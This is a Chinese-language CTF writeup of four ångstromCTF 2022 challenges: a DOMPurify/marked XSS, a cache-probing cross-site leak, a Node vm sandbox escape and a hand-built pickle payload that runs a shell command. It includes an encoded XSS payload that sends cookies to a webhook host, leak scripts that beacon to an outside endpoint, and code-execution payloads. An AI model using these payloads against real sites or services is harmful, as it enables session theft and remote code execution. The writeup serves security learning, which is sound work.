ångstromCTF 2022 Writeups
Yet another CTF writeups ;)
Intro
這次我和Water Paddler一起參加了ångstrom CTF,最後我們拿下了第3名
這次我總共解了7題web和1題misc,另外分別有1題web和1題misc我算是有稍微參與解題,但最後是由隊友解掉了
不過我還是從那2題學到了一些東西,所以也會在底下的文章中大致介紹一下那2題的重點,和另一題我覺得值得介紹的web
我解的其他題有點水,就不介紹了,如果你還是有興趣,我有簡易的解法紀錄:
Note: 打*號的就是我有參與,但不是我解掉的題目
Cliche (web)
Overview
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/marked@4.0.14/lib/marked.umd.min.js"></script>
<script>
const qs = new URLSearchParams(location.search);
if (qs.get("content")?.length > 0) {
document.body.innerHTML = marked.parse(DOMPurify.sanitize(qs.get("content")));
}
</script>
這題很短,主要就是想辦法在被DOMPurify.sanitize
情況下創造可以XSS的payload
Solution
這題蠻有趣的,很多解法,我的解法可以概括成兩步:
-
用link的markdown把html tag拆開
-
用壞掉的html tag XSS
首先,可以發現[<h1>](#</h1>)
這種markdown經過parse之後的結果是:
<p><a href="#%3C/h1%3E"><h1></a></p>
可以看到,h1被拆開了! 也就是說maked在parse它的時候,<h1>
是拿去獨立render的!
再來可以發現,DOMPurify
並不會改變一個tag attribute中的值,也就是說<p x='<style onload=alert(1)>'><p>
在sanitize
完之後,<style onload=alert(1)>
中的值不會有任何改變!
當時我就在想,如果結合以上這兩個特性,是不是就能XSS了?
最後也確實找到了解法:
以下這個markdown:
[<p x='<style onload=alert(1)>](#'></p>)
會被parse成:
<p><a href="#x"><p x='<style onload=alert(1)></a></p>\n
可以發現style的tag成功跑出來了!
solution:
[<p x='<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5LTg1YTktNGU0YS1hNjg0LTUxN2M1ZjQwNmZmMj9mPWArZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSk/.source))>](#'></p>)
webhook result:
flag=wow%2C%20you%20got%20it%20in%20one%20go%2C%20it'd%20be%20cool%20if%20you%20could%20show%20me%20your%20solution%3A%20actf%7Bmy_code_is_upside_down_topsy_turvy_1029318%7D
flag: actf{my_code_is_upside_down_topsy_turvy_1029318}
後來發現不只一種解法
另一種來自Strellic:
<a title="a
<img src=x onerror=alert(1)>">yep</a>
原理是連換兩行之後<img src=x onerror=alert(1)>">yep</a>
被認為和<a title="a
已經是分開的部分,所以成功XSS
另一種來自maple3142:
[x](y '<style>')<!--</style><div id="x--><img src=1 onerror=alert(1)>"></div>
這個的原理有點長,但其實核心的思想和我的差不多,就是想辦法讓有些應該要被當html tag的部分被當markdown,所以導致有些壞掉的tag中的內容,就成功逃脫出來了
詳細的原因可參見他的writeup
*Sustenance (web)
Overview
題目總共有兩個主要的功能:
一個讓你設cookie:
app.post("/s", (req, res) => {
if (req.body.search) {
for (const [name, val] of Object.entries(req.body)) {
res.cookie(name, val, { httpOnly: true });
}
}
res.redirect("/");
});
一個是oracle,查詢成功和失敗有兩種redirect的結果:
app.get("/q", queryMiddleware, (req, res) => {
const query = req.query.q || "h"; // h
let status;
if (res.locals.search.includes(query)) {
status =
"succeeded, but please give me sustenance if you want to be able to see your search results because I desperately require sustenance";
} else {
status = "failed";
}
res.redirect(
"/?m=" +
encodeURIComponent(
`your search that took place at ${Date.now()} has ${status}`
)
);
});
而oracle查詢的內容,普通user是經由search
這個cookie獲得的,而admin則是有自己的cookie,且內容為flag:
function queryMiddleware(req, res, next) {
res.locals.search =
req.cookies.search || "the quick brown fox jumps over the lazy dog";
// admin is a cool kid
if (req.cookies.admin === adminSecret) {
res.locals.search = flag;
}
next();
}
Solution
我第一個想法是使用cache probing來解:
(靈感和一些code是來自maple3142的writeup)
const sleep = async ms => new Promise(resolve => setTimeout(resolve, ms));
const ifCached = async (url, wait_time = 10) => {
const start = performance.now();
const controller = new AbortController();
const signal = controller.signal;
let timeout = setTimeout(() => {
controller.abort();
}, wait_time);
try {
await fetch(url, {
mode: "no-cors",
cache: "force-cache",
signal: signal
});
} catch (err) {
console.log("No cache!");
return false
}
clearTimeout(timeout);
const cost = performance.now() - start; // idk why sometime didn't abort successfully
if (cost < wait_time) {
console.log('Cache found!')
} else {
console.log('No cache!')
}
return cost < wait_time;
}
const test_url = 'https://sustenance.web.actf.co/?m=' + Date.now();
const main = async () => {
window.open(test_url);
await sleep(2000);
await ifCached(test_url);
await ifCached(test_url + 'dne');
}
await main();
可以藉由上面的script發現只要在同個cache key下,就能順利檢測一個url是否被造訪過
所以只需要寫一個script在open('https://sustenance.web.actf.co/q?q=actf{')
之後,暴力搜尋大約2000ms的區間所對應的搜尋成功訊息是否被造訪過,即可知道查詢的query有沒有成功
而要有同個cache key也很簡單,只需要用其他題的XSS或RCE,即可製造出能夠幫忙跑script的頁面,就以xtra-salty-sardines.web.actf.co
這個有XSS的頁面來說,他的cache key和sustenance.web.actf.co
都是('actf.co', 'actf.co', 'sustenance.web.actf.co/?m=...')
,因為他們都有同樣的eTLD+1
(詳細機制請見cache partition的介紹)
根據上述的策略,我寫了一個簡易的script來leak flag,但即使我在local有成功把flag leak出來,remote卻永遠都是false positive,所以一開始我覺得大概是走錯路,就沒繼續試這個方法了
但我後來還是有把遇到的問題放到隊伍的聊天室中,想說看看能不能提供隊友靈感
沒想到huli發現我的script其實概念上是能跑的,而之所以失敗,是因為remote的網站回應速度太快了XD
後來我也自己測試了一下,確實timeout只要改到3ms,就可以正確偵測到是否有被cache!
以下連結是huli用來解掉這題的script:
https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722
而最酷的是,後來經過huli測試發現,其實admin bot的headless chrome並沒有cache partition,也就是說他的cache機制是只看resource的連結,故就算使用不同的eTLD+1,還是會成功!
Intended Solution
其實這題並不需要cache probing,因為在/s
的部分,若設定長度非常長的cookie,在查詢成功時的連結長度將會超過server能接受的上限,導致431 Request Header Fields Too Large
反之,若查詢失敗,因為連結長度比較短,所以不會有error
故只需要利用這個特性,在samesite的頁面上去偵測有無error發生,即可順利leak flag
這裡附上Strellic的解法:
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
<script>
const $ = document.querySelector.bind(document);
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
let i = 0;
const stuff = async (len=3500) => {
let name = Math.random();
$("form").target = name;
let w = window.open('', name);
$("#f").value = "_".repeat(len);
$("#f").name = i++;
$("form").submit();
await sleep(100);
};
const isError = async (url) => {
return new Promise(r => {
let script = document.createElement('script');
script.src = url;
script.onload = () => r(false);
script.onerror = () => r(true);
document.head.appendChild(script);
});
}
const search = (query) => {
return isError("https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query));
};
const alphabet = "etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ";
const url = "//en4u1nbmyeahu.x.pipedream.net/";
let known = "actf{";
window.onload = async () => {
navigator.sendBeacon(url + "?load");
await Promise.all([stuff(), stuff(), stuff(), stuff()]);
await stuff(1600);
navigator.sendBeacon(url + "?go");
while (true) {
for (let c of alphabet) {
let query = known + c;
if (await search(query)) {
navigator.sendBeacon(url, query);
known += c;
break;
}
}
}
};
</script>
CaaSio PSE (misc)
Overview
Source code:
#!/usr/local/bin/node
// flag in ./flag.txt
const vm = require("vm");
const readline = require("readline");
const interface = readline.createInterface({
input: process.stdin,
output: process.stdout,
});
interface.question(
"Welcome to CaaSio: Please Stop Edition! Enter your calculation:\n",
function (input) {
interface.close();
if (
input.length < 215 &&
/^[\x20-\x7e]+$/.test(input) &&
!/[.\[\]{}\s;`'"\\_<>?:]/.test(input) &&
!input.toLowerCase().includes("import")
) {
try {
const val = vm.runInNewContext(input, {});
console.log("Result:");
console.log(val);
console.log(
"See, isn't the calculator so much nicer when you're not trying to hack it?"
);
} catch (e) {
console.log("your tried");
}
} else {
console.log(
"Third time really is the charm! I've finally created an unhackable system!"
);
}
}
);
這題是一個js jail,可以看到題目在使用者的輸入上做了非常多的過濾還有字數限制:
input.length < 215 &&
/^[\x20-\x7e]+$/.test(input) &&
!/[.\[\]{}\s;`'"\\_<>?:]/.test(input) &&
!input.toLowerCase().includes("import")
而根據上述的過濾,可以產生以下所有合法的字元:
!#$%&()*+,-/0123456789=@ABCDEFGHIJKLMNOPQRSTUVWXYZ^abcdefghijklmnopqrstuvwxyz|~
My Solution
這題主要有兩個東西要煩惱:
-
單、雙引號、反引號都被過濾的情況下,該怎麼獲得可用的字串?
-
.
和[]
被過濾,該怎麼樣才能存取一個Object
的屬性?
1的部分我的想法是使用js的regex,在沒有引號的情況下使用/Payload/.source
來創造String
,但可惜的是在2想不到辦法繞過之前,這是不可能的
解到這裡,我就稍微卡住了
但很快我就從我之前解的一個來自huli的XSS挑戰得到了靈感:
既然.
和[]
被過濾,我有沒有機會使用urlenocde的方式將我的payload先encode,再使用unescape
或decodeURIComponent
等方式將其還原再eval
它呢?
答案是有的!
我的解法是eval(unescape(/%2f%0aPAYLOAD%2f/))
這樣的話就相當是執行了:
//
PAYLOAD//
payload的部分順利被eval
了!
接下來就是js vm escape的部分了,網路上詳細的解釋很多,payload也有很多種,這裡就不多做介紹
而我最後的解法是:
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
等價於執行:
//
this.constructor.constructor("return(process.mainModule.require('fs').readFileSync('flag.txt','utf8'))")//
所以也就順利拿到flag了
flag: actf{omg_js_is_like_so_quirky_haha}
Intended Solution
作者的其實想考的是with
與String.fromCharCode
的搭配,官方解法為:
with(String)with(f=fromCharCode,this)with(constructor)with(constructor(f(r=114,101,t=116,117,r,110,32,112,r,111,99,101,s=115,s))())with(mainModule)with(require(f(102,s)))readFileSync(f(102,108,97,103,46,t,120,t))
with
他的效果大概如下:
with(console)
with(a=/hello world/)
with(a)
log(source)
這樣的程式碼,將可以達到console.log(/hello world/.source)
的功效! 非常神奇,真的是讓我大開眼界!
*Kevin Higgs (misc)
Overview
這題是個手寫pickle bytecode的挑戰,題目source code:
#!/usr/local/bin/python3
import pickle
import io
import sys
module = type(__builtins__)
empty = module("empty")
empty.empty = empty
sys.modules["empty"] = empty
class SafeUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == "empty" and name.count(".") <= 1:
return super().find_class(module, name)
raise pickle.UnpicklingError("e-legal")
lepickle = bytes.fromhex(input("Enter hex-encoded pickle: "))
if len(lepickle) > 400:
print("your pickle is too large for my taste >:(")
else:
SafeUnpickler(io.BytesIO(lepickle)).load()
Solution
這題是我隊友skkhokho解的,但由於我對pyjail類型的題目都蠻感興趣的,所以也幫忙解了一下
這題最核心的部分就是要通過empty
這個空的module get shell
要get shell的方法也不難想到,只需要通過empty.__class__.__base__.__subclasses__()
拿到os.system
即可,但難的是要了解怎麼手寫pickle做到這件事
以下我會介紹大致的流程:
每個bytecode的介紹可以在pickle的source code看到
首先,在編寫pickle bytecode的第一步,就是要先用PROTO
這個指令指定你的protocol,方法如下:
import pickle
p = pickle.PROTO + bytes([4]) # 4代表使用protocol 4
這個protocol的部分很重要的,我一開始就是因為沒有指定protocol,所以導致預設的protocol不支援直接存取empty.__class__.__base__
下一步是通過GLOBAL
將empty.__dict__
壓入pickle的stack中(跟Python原生的bytecode做的事很類似)
p += pickle.GLOBAL + b'empty\n__dict__\n' # find_class('empty', '__dict__')
此時的stack:
[empty.__dict__]
Note: 若之後想重複使用某個元素,可以使用
BINPUT
指令,將stack[-1]
放入一個memo中,下次要使用時只需要使用BINGET
即可將存在裡面的值推入stack中. For example,p += pickle.BINPUT + bytes([0]) # memo[0] = empty.__dict__
接著,可以通過STRING
指令,將"o"
壓入stack
p += pickle.STRING + b'"o"\n'
此時的stack:
[empty.__dict__ , "o"]
接著,跟上上個步驟類似,將empty.__class__.__base__
壓入stack
p += pickle.GLOBAL + b'empty\n__class__.__base__\n' # find_class('empty', '__class__.__base__')
此時的stack:
[empty.__dict__ , "o", object]
(若沒有限制,
__class__.__base__.__subclassess__
是可以直接獲取的,但由於題目自訂了find_class
,所以不能用超過1個.
)
接下來我們再用SETITEM
,將stack[-2]
作為key,stack[-1]
作為value,將empty.__dict__['o']
設為object
p += pickle.SETITEM
此時的stack:
[empty.__dict__]
此時,關鍵的來了,我們只需要通過empty.o.__subclasses__
,就可以拿到原本看似無法拿到的empty.__class__.__base__.__subclasses__
了!
p += pickle.GLOBAL + b'empty\no.__subclasses__\n'
此時的stack:
[empty.__dict__ , object.__subclasses__]
接著,只要通過EMPTY_TUPLE
將空的tuple推入stack,再使用REDUCE
以剛剛的空tuple作為argument tuple呼叫object.__subclasses__
,即可拿到所有class !
p += pickle.EMPTY_TUPLE # [empty.__dict__ , object.__subclasses__, ()]
p += pickle.REDUCE # [empty.__dict__ , object.__subclasses__()]
剩下的步驟就大同小異了
solve.py:
import pickle
import sys
module = type(__builtins__)
empty = module("empty")
empty.empty = empty
sys.modules["empty"] = empty
p = pickle.PROTO + bytes([4])
p += pickle.GLOBAL + b'empty\n__dict__\n' # [empty.__dict__]
p += pickle.STRING + b'"o"\n' # [empty.__dict__ , "o"]
p += pickle.GLOBAL + b'empty\n__class__.__base__\n' # [empty.__dict__ , "o" , empty.__class__.__base__]
p += pickle.SETITEM # empty.__dict__["o"] = empty.__class__.__base__ = object , [empty.__dict__]
p += pickle.GLOBAL + b'empty\no.__subclasses__\n' # [empty.__dict__ , object.__subclasses__]
p += pickle.EMPTY_TUPLE # [empty.__dict__ , object.__subclasses__, ()]
p += pickle.REDUCE # [empty.__dict__ , object.__subclasses__()]
p += pickle.BINPUT + bytes([0]) # memo[0] = object.__subclasses__()
p += pickle.POP # [empty.__dict__]
p += pickle.STRING + b'"c"\n' # [empty.__dict__ , "c"]
p += pickle.BINGET + bytes([0]) # [empty.__dict__ , "c", object.__subclasses__()]
p += pickle.SETITEM # empty.__dict__["c"] = object.__subclasses__()
p += pickle.MARK
p += pickle.GLOBAL + b'empty\nc.__getitem__\n' # [empty.__dict__ , object.__subclasses__().__getitem__]
p += pickle.INT + b"138\n"
p += pickle.OBJ
p += pickle.BINPUT + bytes([0]) # memo[0] = os._wrap_close
p += pickle.POP
p += pickle.STRING + b'"x"\n'
p += pickle.BINGET + bytes([0])
p += pickle.SETITEM # empty.__dict__["x"] = os._wrap_close
p += pickle.GLOBAL + b'empty\nx.__init__\n' # [empty.__dict__ , os._wrap_close.__init__]
p += pickle.BINPUT + bytes([0]) # memo[0] = os._wrap_close.__init__
p += pickle.POP
p += pickle.STRING + b'"x"\n'
p += pickle.BINGET + bytes([0])
p += pickle.SETITEM # empty.__dict__["x"] = os._wrap_close.__init__
p += pickle.GLOBAL + b'empty\nx.__globals__\n' # [empty.__dict__ , os._wrap_close.__init__.__globals__]
p += pickle.BINPUT + bytes([0]) # memo[0] = os._wrap_close.__init__.__globals__
p += pickle.POP
p += pickle.STRING + b'"x"\n'
p += pickle.BINGET + bytes([0])
p += pickle.SETITEM # empty.__dict__["x"] = os._wrap_close.__init__.__globals__
p += pickle.MARK
p += pickle.MARK
p += pickle.GLOBAL + b'empty\nx.__getitem__\n' # [empty.__dict__ , os._wrap_close.__init__.__globals__.__getitem__]
p += pickle.STRING + b'"system"\n'
p += pickle.OBJ
p += pickle.STRING + b'"cat /flag.txt"\n'
p += pickle.OBJ
p += pickle.STOP
print(p, len(p))
print(p.hex())
# print(pickle.loads(p))
output:
$ python solve.py
b'\x80\x04cempty\n__dict__\nS"o"\ncempty\n__class__.__base__\nscempty\no.__subclasses__\n)Rq\x000S"c"\nh\x00s(cempty\nc.__getitem__\nI138\noq\x000S"x"\nh\x00scempty\nx.__init__\nq\x000S"x"\nh\x00scempty\nx.__globals__\nq\x000S"x"\nh\x00s((cempty\nx.__getitem__\nS"system"\noS"cat /flag.txt"\no.' 240
800463656d7074790a5f5f646963745f5f0a53226f220a63656d7074790a5f5f636c6173735f5f2e5f5f626173655f5f0a7363656d7074790a6f2e5f5f737562636c61737365735f5f0a2952710030532263220a6800732863656d7074790a632e5f5f6765746974656d5f5f0a493133380a6f710030532278220a68007363656d7074790a782e5f5f696e69745f5f0a710030532278220a68007363656d7074790a782e5f5f676c6f62616c735f5f0a710030532278220a680073282863656d7074790a782e5f5f6765746974656d5f5f0a532273797374656d220a6f5322636174202f666c61672e747874220a6f2e
$ nc challs.actf.co 31332
Enter hex-encoded pickle: 800463656d7074790a5f5f646963745f5f0a53226f220a63656d7074790a5f5f636c6173735f5f2e5f5f626173655f5f0a7363656d7074790a6f2e5f5f737562636c61737365735f5f0a2952710030532263220a6800732863656d7074790a632e5f5f6765746974656d5f5f0a493133380a6f710030532278220a68007363656d7074790a782e5f5f696e69745f5f0a710030532278220a68007363656d7074790a782e5f5f676c6f62616c735f5f0a710030532278220a680073282863656d7074790a782e5f5f6765746974656d5f5f0a532273797374656d220a6f5322636174202f666c61672e747874220a6f2e
actf{__i_miss_kmh11_pyjails__}
flag: actf{__i_miss_kmh11_pyjails__}
Summary
這次總共學到了:
-
利用cache probing的xs-leak與cache partition機制
-
url的長度也可能會導致431 Request Header Fields Too Large
-
javascript
with
的神奇用法 -
如何手刻pickle bytecode
此外,這次也是我第一次跟一個這麼龐大而且充滿高手的隊伍一起參加CTF,實在是非常有趣的經驗、也從中學到了不少!